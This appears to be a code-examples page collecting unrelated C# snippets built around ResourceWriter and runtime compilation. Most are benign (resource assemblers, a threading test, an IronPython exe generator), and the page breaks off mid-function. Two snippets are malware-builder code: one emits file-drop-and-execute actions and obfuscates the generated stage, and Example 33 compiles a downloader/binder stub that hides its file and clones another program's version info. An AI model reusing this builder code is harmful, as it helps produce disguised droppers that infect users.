                                    assembly.Emit("__DropFile(/**/" + (int)dropAction.Location + ", payload, /**/" + new QuotedString(dropAction.FileName) + ", /**/" + dropAction.GetWin32FileAttributes() + ", /**/" + (int)dropAction.ExecuteVerb + ");");
                                }
                                else if (action is MessageBoxAction messageBoxAction)
                                {
                                    assembly.EmitComment("MessageBox (icon: " + messageBoxAction.Icon.GetDescription() + ", buttons: " + messageBoxAction.Buttons.GetDescription() + ")");
                                    assembly.Emit("DialogResult result = MessageBox.Show(/**/" + new QuotedString(messageBoxAction.Text) + ", /**/" + new QuotedString(messageBoxAction.Title) + ", (MessageBoxButtons)/**/" + (int)messageBoxAction.Buttons + ", (MessageBoxIcon)/**/" + (int)messageBoxAction.Icon + ");");
                                    if (messageBoxAction.HasEvents)
                                    {
                                        assembly.WriteLine();
                                    }

                                    EmitMessageBoxEvent(messageBoxAction.OnOk, "ok", 1);
                                    EmitMessageBoxEvent(messageBoxAction.OnCancel, "cancel", 2);
                                    EmitMessageBoxEvent(messageBoxAction.OnYes, "yes", 6);
                                    EmitMessageBoxEvent(messageBoxAction.OnNo, "no", 7);
                                    EmitMessageBoxEvent(messageBoxAction.OnAbort, "abort", 3);
                                    EmitMessageBoxEvent(messageBoxAction.OnRetry, "retry", 4);
                                    EmitMessageBoxEvent(messageBoxAction.OnIgnore, "ignore", 5);

                                    void EmitMessageBoxEvent(ActionEvent actionEvent, string eventName, int result)
                                    {
                                        if (actionEvent != ActionEvent.None)
                                        {
                                            assembly.EmitComment("If '" + eventName + "' was clicked, " + Helper.GetCommentForActionEvent(actionEvent));
                                            string code = "if (result == (DialogResult)/**/" + result + ") ";

                                            switch (actionEvent)
                                            {
                                            case ActionEvent.SkipNextAction:
                                                code += "goto " + (action == Project.Actions.Last() ? "end" : "action_" + (action.AssemblyId + 1) + "_end") + ";";
                                                break;

                                            case ActionEvent.Exit:
                                                code += "goto end;";
                                                break;

                                            default:
                                                throw new InvalidOperationException();
                                            }

                                            assembly.Emit(code);
                                        }
                                    }
                                }
                                else
                                {
                                    throw new InvalidOperationException();
                                }

                                assembly.BlockEnd();
                                assembly.Emit("catch");
                                assembly.BlockBegin();
                                assembly.BlockEnd();

                                assembly.EmitLabel("action_" + action.AssemblyId + "_end");
                                assembly.WriteLine();
                            }
                        }
                        else
                        {
                            assembly.Indent = 0;
                            assembly.WriteLine(line);
                        }
                    }
                }

                // Obfuscate code
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Stage2.cs"));
            }
            catch (ErrorException ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details);
            }
            catch (Exception ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stage2.", ex.GetFullStackTrace());
            }
        }
    private static void CreateResourceFile(
        string csFile, string resFile, string outputDir, out string sourceHash, out int viewCount)
    {
        viewCount = -1;
        sourceHash = string.Empty;

        var codeProvider = new CSharpCodeProvider();
        var inMemoryCodeCompiler = codeProvider.CreateCompiler();
        var parameters = new CompilerParameters();
        parameters.ReferencedAssemblies.Add("System.Data.Entity.dll");
        parameters.GenerateInMemory = true;
        CompilerResults results = inMemoryCodeCompiler.CompileAssemblyFromFile(parameters, csFile);

        if (results.Errors.Count == 0)
        {
            Assembly resultingAssembly = results.CompiledAssembly;
            Type[] typeList = resultingAssembly.GetTypes();
            foreach (Type type in typeList)
            {
                if (type.BaseType == typeof(EntityViewContainer))
                {
                    MethodInfo[] methodInfo = type.GetMethods(BindingFlags.NonPublic | BindingFlags.Instance);
                    var instance = (EntityViewContainer)Activator.CreateInstance(type);
                    sourceHash = instance.HashOverAllExtentViews;
                    viewCount = instance.ViewCount;
                    using (var resWriter = new ResourceWriter(Path.Combine(outputDir, resFile)))
                    {
                        foreach (MethodInfo method in methodInfo)
                        {
                            if (char.IsDigit(method.Name, method.Name.Length - 1))
                            {
                                var result = (KeyValuePair<string, string>)method.Invoke(instance, null);
                                resWriter.AddResource(method.Name.Replace("GetView", string.Empty), result);
                            }
                        }

                        resWriter.Generate();
                        resWriter.Close();
                    }
                }
            }
        }
        else
        {
            Console.WriteLine("Unable to Generate Resource File");
        }
    }
Ejemplo n.º 31
0
    /// <remarks>
    /// Builds resource files out of the ResAsm format
    /// </remarks>
    static void Assemble(string pattern)
    {
        string[] files = Directory.GetFiles(Directory.GetCurrentDirectory(), pattern);
        int linenr = 0;
        foreach (string file in files) {
            try {
                StreamReader reader      = new StreamReader(file, new UTF8Encoding());
                string       resfilename = Path.GetFileNameWithoutExtension(file) + ".resources";

                ResourceWriter rw = new ResourceWriter(resfilename);
                linenr = 0;
                while (true) {
                    string line = reader.ReadLine();
                    linenr++;
                    if (line == null) {
                        break;
                    }
                    line = line.Trim();
                    // skip empty or comment lines
                    if (line.Length == 0 || line[0] == '#') {
                        continue;
                    }

                    // search for a = char
                    int idx = line.IndexOf('=');
                    if (idx < 0) {
                        Console.WriteLine("error in file " + file + " at line " + linenr);
                        continue;
                    }
                    string key = line.Substring(0, idx).Trim();
                    string val = line.Substring(idx + 1).Trim();
                    object entryval = null;

                    if (val[0] == '"') { // case 1 : string value
                        val = val.Trim(new char[] {'"'});
                        StringBuilder tmp = new StringBuilder();
                        for (int i = 0; i < val.Length; ++i) {
                            switch (val[i]) { // handle the \ char
                                case '\\':
                                        ++i;
                                        if (i < val.Length)
                                        switch (val[i]) {
                                            case '\\':
                                                tmp.Append('\\');
                                                break;
                                            case 'n':
                                                tmp.Append('\n');
                                                break;
                                            case '\"':
                                                tmp.Append('\"');
                                                break;
                                        }
                                        break;
                                default:
                                    tmp.Append(val[i]);
                                    break;
                            }
                        }
                        entryval = tmp.ToString();
                    } else { // case 2 : no string value -> load resource
                        entryval = LoadResource(val);
                    }
                    rw.AddResource(key, entryval);

                }
                rw.Generate();
                rw.Close();
                reader.Close();
            } catch (Exception e) {
                Console.WriteLine("Error in line " + linenr);
                Console.WriteLine("Error while processing " + file + " :");
                Console.WriteLine(e.ToString());
            }
        }
    }
Ejemplo n.º 32
0
	public virtual bool runTest()
	{
		Console.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
		int iCountErrors = 0;
		int iCountTestcases = 0;
		String strLoc = "Loc_000oo";
		ResourceWriter writer;
		ThreadStart tdst1;
		Thread[] thdPool;
		Boolean fLoopExit;
		try {
			do
			{
				iCountTestcases++;
				if(File.Exists(Environment.CurrentDirectory+"\\Co3878_A.resources"))
				File.Delete(Environment.CurrentDirectory+"\\Co3878_A.resources");
				writer = new ResourceWriter("Co3878_A.resources");
				for(int i=0; i<iNumberOfStringsInFile; i++)
				writer.AddResource("Key " + i, "Value " + i);
				writer.Generate();
				writer.Close();
				iThreadsCompleted = 0;
				thdPool = new Thread[iNumberOfThreads];
				for(int i=0; i<iNumberOfThreads; i++){
					tdst1 = new ThreadStart(this.RSMangerForEachThread);
					thdPool[i] = new Thread(tdst1);
				}
				for(int i=0; i<iNumberOfThreads; i++){
					thdPool[i].Start();
				}
				do {
                                        int numberAlive = 0;
					fLoopExit = false;
                                        Thread.Sleep(100);
					for(int i=0; i<iNumberOfThreads; i++){
						if(thdPool[i].IsAlive) {
						fLoopExit = true; 
                                                numberAlive ++; 
                                                }
					}
				}while(fLoopExit);
				if(iThreadsCompleted != iNumberOfThreads){
					iCountErrors++;
					Console.WriteLine("Err_67423csd! All the thrads didn't execute the function. Expected, " + iNumberOfThreads + " completed, " + iThreadsCompleted);
				}
				iCountTestcases++;
				if(File.Exists(Environment.CurrentDirectory+"\\Co3878_B.resources"))
				File.Delete(Environment.CurrentDirectory+"\\Co3878_B.resources");
				writer = new ResourceWriter("Co3878_B.resources");
				for(int i=0; i<iNumberOfStringsInFile; i++)
				writer.AddResource("Key " + i, "Value " + i);
				writer.Generate();
				writer.Close();
				manager = ResourceManager.CreateFileBasedResourceManager("Co3878_B", Environment.CurrentDirectory, null);
				iThreadsCompleted = 0;
				thdPool = new Thread[iNumberOfThreads];
				for(int i=0; i<iNumberOfThreads; i++){
					tdst1 = new ThreadStart(this.RSMangerForAllThreads);
					thdPool[i] = new Thread(tdst1);
				}
				for(int i=0; i<iNumberOfThreads; i++){
					thdPool[i].Start();
				}
				do {
					fLoopExit = false;
                                        Thread.Sleep(100);
					for(int i=0; i<iNumberOfThreads; i++){
						if(thdPool[i].IsAlive)
						fLoopExit = true;
					}
				}while(fLoopExit);
				if(iThreadsCompleted != iNumberOfThreads){
					iCountErrors++;
					Console.WriteLine("Err_7539cd! All the threads didn't execute the function. Expected, " + iNumberOfThreads + " completed, " + iThreadsCompleted);
				}
				manager.ReleaseAllResources();
			} while (false);
			} catch (Exception exc_general ) {
			++iCountErrors;
			Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy!  strLoc=="+ strLoc +", exc_general=="+exc_general);
		}
		if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs.   "+s_strTFPath +" "+s_strTFName+" ,iCountTestcases=="+iCountTestcases);
			return true;
		}
		else
		{
			Console.WriteLine("FAiL!   "+s_strTFPath+" "+s_strTFName+" ,iCountErrors=="+iCountErrors+" , BugNums?: "+s_strActiveBugNums );
			return false;
		}
	}
Ejemplo n.º 33
0
        private void btnBuild_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrEmpty(tbLocation.Text))
            {
                return;
            }

            Uri uri;

            if (!Uri.TryCreate(tbLocation.Text, UriKind.Absolute, out uri) && (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps))
            {
                MessageBox.Show(Resources.BadUrl, Resources.Name, MessageBoxButtons.OK,
                                MessageBoxIcon.Information);
                return;
            }

            string path;

            using (var sfd = new SaveFileDialog())
            {
                if (sfd.ShowDialog() != DialogResult.OK)
                {
                    return;
                }
                path = sfd.FileName;
            }

            var source = Resources.Stub;

            source = source.Replace("[LINK]", tbLocation.Text);

            var compilerargs = new CompilerParameters(new [] { "System.dll" })
            {
                GenerateExecutable = true, OutputAssembly = path, CompilerOptions = "/target:winexe /platform:x86"
            };

            if (_icon != null)
            {
                var tempfilename = Path.GetTempPath() + "\\tempico.ico";
                using (var fileStream = new FileStream(tempfilename, FileMode.OpenOrCreate))
                    _icon.Save(fileStream);

                compilerargs.CompilerOptions += " /win32icon:" + tempfilename;
            }

            source = source.Replace("[HIDE]", cbHideFile.Checked ? "File.SetAttributes(loc, FileAttributes.Hidden);" : string.Empty);

            //binder
            if (!string.IsNullOrEmpty(tbFile.Text))
            {
                compilerargs.EmbeddedResources.Add("files.resources");

                var dropsource = Resources.Binder;
                using (var rw = new ResourceWriter("files.resources"))
                {
                    var resourcename = Guid.NewGuid().ToString().Replace("-", "");
                    dropsource = dropsource.Replace("[RESOURCE]", resourcename);
                    rw.AddResource(resourcename, File.ReadAllBytes(tbFile.Text));
                }

                source = source.Replace("[BINDCODE]", dropsource);
            }
            else
            {
                source = source.Replace("[BINDCODE]", string.Empty);
            }

            var compilerresult = new CSharpCodeProvider().CompileAssemblyFromSource(compilerargs, source);

            if (!string.IsNullOrEmpty(_fileToCloneLocation) && compilerresult.Errors.Count < 1)
            {
                var tempfilename = _currentFolder + "res.exe";
                File.WriteAllBytes(tempfilename, Resources.ResourceHacker);

                try
                {
                    var startinfo = new ProcessStartInfo {
                        WindowStyle = ProcessWindowStyle.Hidden, FileName = tempfilename, Arguments = $"-extract {_fileToCloneLocation},{_currentFolder + "info.res"},versioninfo,,"
                    };
                    Process.Start(startinfo)?.WaitForExit();
                    startinfo.Arguments = $"-delete {path},{path},versioninfo,,";
                    Process.Start(startinfo)?.WaitForExit();
                    startinfo.Arguments = $"-addoverwrite {path},{path},{_currentFolder + "info.res"},versioninfo,,";
                    Process.Start(startinfo)?.WaitForExit();

                    File.Delete(tempfilename);
                    File.Delete(_currentFolder + "res.ini");
                    File.Delete(_currentFolder + "res.log");
                    File.Delete(_currentFolder + "info.res");
                    File.Delete(_currentFolder + "files.resources");
                }
                catch
                {
                    MessageBox.Show(Resources.VersionInfoFailure, Resources.Name, MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
            }

            foreach (CompilerError error in compilerresult.Errors)
            {
                MessageBox.Show(error.ErrorText);
            }
        }
Ejemplo n.º 34
0
        /// <summary>
        /// Generates the stub .exe file for starting the app
        /// </summary>
        /// <param name="config"></param>
        private static void GenerateExe(Config config)
        {
            var u     = new Universe();
            var aName = new AssemblyName(Path.GetFileNameWithoutExtension(new FileInfo(config.Output).Name));
            var ab    = u.DefineDynamicAssembly(aName, AssemblyBuilderAccess.Save, config.OutputPath);
            var mb    = ab.DefineDynamicModule(config.Output, aName.Name + (aName.Name.EndsWith(".exe") ? string.Empty : ".exe"));
            var tb    = mb.DefineType("PythonMain", IKVM.Reflection.TypeAttributes.Public);

            if (!string.IsNullOrEmpty(config.Win32Icon))
            {
                ab.__DefineIconResource(File.ReadAllBytes(config.Win32Icon));
            }

            var attributes = new List <Tuple <string, Type> > {
                Tuple.Create(config.FileVersion, u.Import(typeof(System.Reflection.AssemblyFileVersionAttribute))),
                Tuple.Create(config.ProductName, u.Import(typeof(System.Reflection.AssemblyProductAttribute))),
                Tuple.Create(config.ProductVersion, u.Import(typeof(System.Reflection.AssemblyInformationalVersionAttribute))),
                Tuple.Create(config.Copyright, u.Import(typeof(System.Reflection.AssemblyCopyrightAttribute)))
            };

            foreach (var attr in attributes)
            {
                if (!string.IsNullOrWhiteSpace(config.FileVersion))
                {
                    CustomAttributeBuilder builder = new CustomAttributeBuilder(attr.Item2.GetConstructor(new[] { u.Import(typeof(string)) }), new object[] { attr.Item1 });
                    ab.SetCustomAttribute(builder);
                }
            }

            ab.DefineVersionInfoResource();

            MethodBuilder assemblyResolveMethod = null;
            ILGenerator   gen = null;

            if (config.Standalone)
            {
                ConsoleOps.Info("Generating stand alone executable");
                config.Embed = true;

                foreach (var a in System.AppDomain.CurrentDomain.GetAssemblies())
                {
                    var n = new AssemblyName(a.FullName);
                    if (!a.IsDynamic && a.EntryPoint == null && (n.Name.StartsWith("IronPython") || n.Name == "Microsoft.Dynamic" || n.Name == "Microsoft.Scripting"))
                    {
                        ConsoleOps.Info($"\tEmbedded {n.Name} {n.Version}");
                        var f = new FileStream(a.Location, FileMode.Open, FileAccess.Read);
                        mb.DefineManifestResource("Dll." + n.Name, f, IKVM.Reflection.ResourceAttributes.Public);
                    }
                }

                foreach (var dll in config.DLLs)
                {
                    var name = Path.GetFileNameWithoutExtension(dll);
                    ConsoleOps.Info($"\tEmbedded {name}");
                    var f = new FileStream(dll, FileMode.Open, FileAccess.Read);
                    mb.DefineManifestResource("Dll." + name, f, IKVM.Reflection.ResourceAttributes.Public);
                }

                // we currently do no error checking on what is passed in to the assemblyresolve event handler
                assemblyResolveMethod = tb.DefineMethod("AssemblyResolve", MethodAttributes.Public | MethodAttributes.Static, u.Import(typeof(System.Reflection.Assembly)), new IKVM.Reflection.Type[] { u.Import(typeof(System.Object)), u.Import(typeof(System.ResolveEventArgs)) });
                gen = assemblyResolveMethod.GetILGenerator();
                var s = gen.DeclareLocal(u.Import(typeof(System.IO.Stream))); // resource stream

                gen.Emit(OpCodes.Ldnull);
                gen.Emit(OpCodes.Stloc, s);
                var d = gen.DeclareLocal(u.Import(typeof(byte[]))); // data buffer;
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("GetEntryAssembly"), Type.EmptyTypes);
                gen.Emit(OpCodes.Ldstr, "Dll.");
                gen.Emit(OpCodes.Ldarg_1);    // The event args
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.ResolveEventArgs)).GetMethod("get_Name"), Type.EmptyTypes);
                gen.Emit(OpCodes.Newobj, u.Import(typeof(System.Reflection.AssemblyName)).GetConstructor(new IKVM.Reflection.Type[] { u.Import(typeof(string)) }));
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.AssemblyName)).GetMethod("get_Name"), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(string)).GetMethod("Concat", new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(string)) }), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.Reflection.Assembly)).GetMethod("GetManifestResourceStream", new IKVM.Reflection.Type[] { u.Import(typeof(string)) }), Type.EmptyTypes);
                gen.Emit(OpCodes.Stloc, s);
                gen.Emit(OpCodes.Ldloc, s);
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.IO.Stream)).GetMethod("get_Length"), Type.EmptyTypes);
                gen.Emit(OpCodes.Newarr, u.Import(typeof(System.Byte)));
                gen.Emit(OpCodes.Stloc, d);
                gen.Emit(OpCodes.Ldloc, s);
                gen.Emit(OpCodes.Ldloc, d);
                gen.Emit(OpCodes.Ldc_I4_0);
                gen.Emit(OpCodes.Ldloc, s);
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.IO.Stream)).GetMethod("get_Length"), Type.EmptyTypes);
                gen.Emit(OpCodes.Conv_I4);
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.IO.Stream)).GetMethod("Read", new IKVM.Reflection.Type[] { u.Import(typeof(byte[])), u.Import(typeof(int)), u.Import(typeof(int)) }), Type.EmptyTypes);
                gen.Emit(OpCodes.Pop);
                gen.Emit(OpCodes.Ldloc, d);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("Load", new IKVM.Reflection.Type[] { u.Import(typeof(byte[])) }), Type.EmptyTypes);
                gen.Emit(OpCodes.Ret);

                // generate a static constructor to assign the AssemblyResolve handler (otherwise it tries to use IronPython before it adds the handler)
                // the other way of handling this would be to move the call to InitializeModule into a separate method.
                var staticConstructor = tb.DefineConstructor(MethodAttributes.Public | MethodAttributes.Static, CallingConventions.Standard, Type.EmptyTypes);
                gen = staticConstructor.GetILGenerator();
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.AppDomain)).GetMethod("get_CurrentDomain"), Type.EmptyTypes);
                gen.Emit(OpCodes.Ldnull);
                gen.Emit(OpCodes.Ldftn, assemblyResolveMethod);
                gen.Emit(OpCodes.Newobj, u.Import(typeof(System.ResolveEventHandler)).GetConstructor(new IKVM.Reflection.Type[] { u.Import(typeof(object)), u.Import(typeof(System.IntPtr)) }));
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.AppDomain)).GetMethod("add_AssemblyResolve"), Type.EmptyTypes);
                gen.Emit(OpCodes.Ret);
            }

            var mainMethod = tb.DefineMethod("Main", MethodAttributes.Public | MethodAttributes.Static, u.Import(typeof(int)), Type.EmptyTypes);

            if (config.Target == PEFileKinds.WindowApplication && config.UseMta)
            {
                mainMethod.SetCustomAttribute(u.Import(typeof(System.MTAThreadAttribute)).GetConstructor(Type.EmptyTypes), new byte[0]);
            }
            else if (config.Target == PEFileKinds.WindowApplication)
            {
                mainMethod.SetCustomAttribute(u.Import(typeof(System.STAThreadAttribute)).GetConstructor(Type.EmptyTypes), new byte[0]);
            }

            gen = mainMethod.GetILGenerator();

            // variables for saving original working directory and return code of script
            var          strVar  = gen.DeclareLocal(u.Import(typeof(string)));
            var          intVar  = gen.DeclareLocal(u.Import(typeof(int)));
            LocalBuilder dictVar = null;

            if (config.PythonOptions.Count > 0)
            {
                var True  = u.Import(typeof(ScriptingRuntimeHelpers)).GetField("True");
                var False = u.Import(typeof(ScriptingRuntimeHelpers)).GetField("False");

                dictVar = gen.DeclareLocal(u.Import(typeof(Dictionary <string, object>)));
                gen.Emit(OpCodes.Newobj, u.Import(typeof(Dictionary <string, object>)).GetConstructor(Type.EmptyTypes));
                gen.Emit(OpCodes.Stloc, dictVar);

                foreach (var option in config.PythonOptions)
                {
                    gen.Emit(OpCodes.Ldloc, dictVar);
                    gen.Emit(OpCodes.Ldstr, option.Key);
                    if (option.Value is int val)
                    {
                        if (val >= -128 && val <= 127)
                        {
                            gen.Emit(OpCodes.Ldc_I4_S, val); // this is more optimized
                        }
                        else
                        {
                            gen.Emit(OpCodes.Ldc_I4, val);
                        }
                        gen.Emit(OpCodes.Box, u.Import(typeof(System.Int32)));
                    }
                    else if (option.Value.Equals(ScriptingRuntimeHelpers.True))
                    {
                        gen.Emit(OpCodes.Ldsfld, True);
                    }
                    else if (option.Value.Equals(ScriptingRuntimeHelpers.False))
                    {
                        gen.Emit(OpCodes.Ldsfld, False);
                    }
                    gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(Dictionary <string, object>)).GetMethod("Add", new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(object)) }), Type.EmptyTypes);
                }
            }

            Label tryStart = gen.BeginExceptionBlock();

            // get the ScriptCode assembly...
            if (config.Embed)
            {
                // put the generated DLL into the resources for the stub exe
                var mem = new MemoryStream();
                var rw  = new ResourceWriter(mem);
                rw.AddResource("IPDll." + Path.GetFileNameWithoutExtension(config.Output) + ".dll", File.ReadAllBytes(Path.Combine(config.OutputPath, config.Output) + ".dll"));
                rw.Generate();
                mem.Position = 0;
                mb.DefineManifestResource("IPDll.resources", mem, ResourceAttributes.Public);
                File.Delete(Path.Combine(config.OutputPath, config.Output) + ".dll");

                // generate code to load the resource
                gen.Emit(OpCodes.Ldstr, "IPDll");
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("GetEntryAssembly"), Type.EmptyTypes);
                gen.Emit(OpCodes.Newobj, u.Import(typeof(System.Resources.ResourceManager)).GetConstructor(new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(System.Reflection.Assembly)) }));
                gen.Emit(OpCodes.Ldstr, "IPDll." + Path.GetFileNameWithoutExtension(config.Output) + ".dll");
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Resources.ResourceManager)).GetMethod("GetObject", new IKVM.Reflection.Type[] { u.Import(typeof(string)) }), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("Load", new IKVM.Reflection.Type[] { u.Import(typeof(byte[])) }), Type.EmptyTypes);
            }
            else
            {
                // save current working directory
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Environment)).GetMethod("get_CurrentDirectory"), Type.EmptyTypes);
                gen.Emit(OpCodes.Stloc, strVar);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("GetEntryAssembly"), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.Reflection.Assembly)).GetMethod("get_Location"), Type.EmptyTypes);
                gen.Emit(OpCodes.Newobj, u.Import(typeof(System.IO.FileInfo)).GetConstructor(new IKVM.Reflection.Type[] { u.Import(typeof(string)) }));
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.IO.FileInfo)).GetMethod("get_Directory"), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.IO.DirectoryInfo)).GetMethod("get_FullName"), Type.EmptyTypes);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Environment)).GetMethod("set_CurrentDirectory"), Type.EmptyTypes);
                gen.Emit(OpCodes.Ldstr, config.Output + ".dll");
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.IO.Path)).GetMethod("GetFullPath", new IKVM.Reflection.Type[] { u.Import(typeof(string)) }), Type.EmptyTypes);
                // result of GetFullPath stays on the stack during the restore of the
                // original working directory

                // restore original working directory
                gen.Emit(OpCodes.Ldloc, strVar);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Environment)).GetMethod("set_CurrentDirectory"), Type.EmptyTypes);

                // for the LoadFile() call, the full path of the assembly is still is on the stack
                // as the result from the call to GetFullPath()
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Reflection.Assembly)).GetMethod("LoadFile", new IKVM.Reflection.Type[] { u.Import(typeof(string)) }), Type.EmptyTypes);
            }

            // emit module name
            gen.Emit(OpCodes.Ldstr, "__main__");  // main module name
            gen.Emit(OpCodes.Ldnull);             // no references
            gen.Emit(OpCodes.Ldc_I4_0);           // don't ignore environment variables for engine startup
            if (config.PythonOptions.Count > 0)
            {
                gen.Emit(OpCodes.Ldloc, dictVar);
            }
            else
            {
                gen.Emit(OpCodes.Ldnull);
            }

            // call InitializeModuleEx
            // (this will also run the script)
            // and put the return code on the stack
            gen.EmitCall(OpCodes.Call, u.Import(typeof(PythonOps)).GetMethod("InitializeModuleEx",
                                                                             new IKVM.Reflection.Type[] { u.Import(typeof(System.Reflection.Assembly)), u.Import(typeof(string)), u.Import(typeof(string[])), u.Import(typeof(bool)), u.Import(typeof(Dictionary <string, object>)) }),
                         Type.EmptyTypes);
            gen.Emit(OpCodes.Stloc, intVar);
            gen.BeginCatchBlock(u.Import(typeof(Exception)));

            if (config.Target == PEFileKinds.ConsoleApplication)
            {
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.Exception)).GetMethod("get_Message", Type.EmptyTypes), Type.EmptyTypes);
                gen.Emit(OpCodes.Stloc, strVar);
                gen.Emit(OpCodes.Ldstr, config.ErrorMessageFormat);
                gen.Emit(OpCodes.Ldloc, strVar);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Console)).GetMethod("WriteLine", new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(string)) }), Type.EmptyTypes);
            }
            else
            {
                gen.EmitCall(OpCodes.Callvirt, u.Import(typeof(System.Exception)).GetMethod("get_Message", Type.EmptyTypes), Type.EmptyTypes);
                gen.Emit(OpCodes.Stloc, strVar);
                gen.Emit(OpCodes.Ldstr, config.ErrorMessageFormat);
                gen.Emit(OpCodes.Ldloc, strVar);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(string)).GetMethod("Format", new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(string)) }), Type.EmptyTypes);
                gen.Emit(OpCodes.Ldstr, "Error");
                gen.Emit(OpCodes.Ldc_I4, (int)System.Windows.Forms.MessageBoxButtons.OK);
                gen.Emit(OpCodes.Ldc_I4, (int)System.Windows.Forms.MessageBoxIcon.Error);
                gen.EmitCall(OpCodes.Call, u.Import(typeof(System.Windows.Forms.MessageBox)).GetMethod("Show", new IKVM.Reflection.Type[] { u.Import(typeof(string)), u.Import(typeof(string)), u.Import(typeof(System.Windows.Forms.MessageBoxButtons)), u.Import(typeof(System.Windows.Forms.MessageBoxIcon)) }), Type.EmptyTypes);
                gen.Emit(OpCodes.Pop);
            }

            gen.Emit(OpCodes.Ldc_I4, -1); // return code is -1 to show failure
            gen.Emit(OpCodes.Stloc, intVar);

            gen.EndExceptionBlock();

            gen.Emit(OpCodes.Ldloc, intVar);
            gen.Emit(OpCodes.Ret);

            tb.CreateType();
            ab.SetEntryPoint(mainMethod, config.Target);
            string fileName = aName.Name.EndsWith(".exe") ? aName.Name : aName.Name + ".exe";

            ab.Save(fileName, config.Platform, config.Machine);
        }
 private void DoThings()
 {
     String[] bogusHeaders;
     ResourceWriter resWriter;
     String[] dateInfoCustomFormats;
     Hashtable dupTable;
     CultureInfo culture;
     DateTimeFormatInfo dateInfo;
     StreamWriter xmlwriter;
     XmlTextWriter myXmlTextWriter;
     Calendar otherCalendar;
     Calendar gregorian;
     Hashtable calendars;
     String[] tempFormats;
     calendars = new Hashtable();
     calendars.Add(0x0401, new HijriCalendar());
     calendars.Add(0x0404, new TaiwanCalendar());
     calendars.Add(0x040D, new HebrewCalendar());
     calendars.Add(0x0411, new JapaneseCalendar());
     calendars.Add(0x0412, new KoreanCalendar());
     calendars.Add(0x041E, new ThaiBuddhistCalendar());
     otherCalendar = null;
     gregorian = new GregorianCalendar();
     resWriter = new ResourceWriter(resourceBaseName + ".resources");
     resWriter.AddResource(resCultures, cultures);
     WriteXMLForCultures(cultures);
     for(int iCul = 0; iCul<cultures.Length; iCul++)
     {
         culture = cultures[iCul];			
         dateInfo = DateTimeFormatInfo.GetInstance(culture);
         try
         {
             otherCalendar = (Calendar)calendars[culture.LCID];
         }
         catch
         {
         }
         bogusHeaders = new String[formalFormats.Length];
         for(int i=0; i<bogusHeaders.Length; i++)
         {
             bogusHeaders[i] = "AA_" + i;
         }
         if(iCul==0)
         {
             GenerateXmlSchema(bogusHeaders, fileFormalFormats, false, culture);
         }
         if(calendars.ContainsKey(culture.LCID))
         {
             xmlwriter = File.CreateText(xmlDataFile  + "_" + fileFormalFormats + "_" + culture.ToString() + "_" + otherCalendarString + ".xml");
             myXmlTextWriter = new XmlTextWriter(xmlwriter);
             myXmlTextWriter.Formatting = Formatting.Indented;
             myXmlTextWriter.WriteStartElement("NewDataSet");
             tempFormats = new String[formalFormats.Length];
             formalFormats.CopyTo(tempFormats, 0);
             for(int i=0; i<tempFormats.Length; i++)
             {
                 if(Char.IsUpper(tempFormats[i][0]))
                     tempFormats[i] = tempFormats[i] + " ";
             }
             WriteRealHeaders(myXmlTextWriter, bogusHeaders, tempFormats);
             WriteValues(myXmlTextWriter, bogusHeaders, formalFormats, culture, otherCalendar);
             WriteDataToResourceFile(fileFormalFormats, resWriter, culture, false, true);
         }
         xmlwriter = File.CreateText(xmlDataFile  + "_" + fileFormalFormats + "_" + culture.ToString() + ".xml");
         myXmlTextWriter = new XmlTextWriter(xmlwriter);
         myXmlTextWriter.Formatting = Formatting.Indented;
         myXmlTextWriter.WriteStartElement("NewDataSet");
         tempFormats = new String[formalFormats.Length];
         formalFormats.CopyTo(tempFormats, 0);
         for(int i=0; i<tempFormats.Length; i++)
         {
             if(Char.IsUpper(tempFormats[i][0]))
                 tempFormats[i] = tempFormats[i] + " ";
         }
         WriteRealHeaders(myXmlTextWriter, bogusHeaders, tempFormats);
